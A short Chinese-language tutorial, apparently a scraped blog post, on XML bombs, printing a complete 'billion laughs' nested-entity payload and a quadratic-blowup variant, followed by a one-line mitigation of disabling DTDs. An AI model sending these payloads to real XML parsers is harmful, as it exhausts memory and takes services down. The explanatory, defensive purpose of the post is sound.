XML炸彈

XML炸彈
XML document type definition (DTD)能夠定義entity,DTD能夠出如今外部文件或文件內部。
利用DTD能夠產生XML炸彈,也就是能迅速佔用大量內存的文件,以下爲例:
當XML解析器嘗試解析該文件時,因爲DTD的定義指數級展開,這個1K不到的文件會佔用到3G的內存。spa

1
2
3
4
5
6
7
8
9
10
11
12
13
<?xml version= "1.0" ?>
<!DOCTYPE lolz [
<!ENTITY lol "lol" >
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;" >
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;" >
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;" >
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;" >
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;" >
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;" >
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;" >
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;" >
]>
<lolz>&lol9;</lolz>

還有一種,雖然擴展率沒那麼大,也頗有效。200K的可以擴展到2.5G。code

1
2
3
4
5
<?xml version= "1.0" ?>
<!DOCTYPE kaboom [
<!ENTITY a "aaaaaaaaaaaaaaaaaa..." >
]>
<kaboom>&a;&a;&a;&a;&a;&a;&a;&a;&a;...</kaboom>

 

防護XML炸彈
禁止DTDxml

相關文章
相關標籤/搜索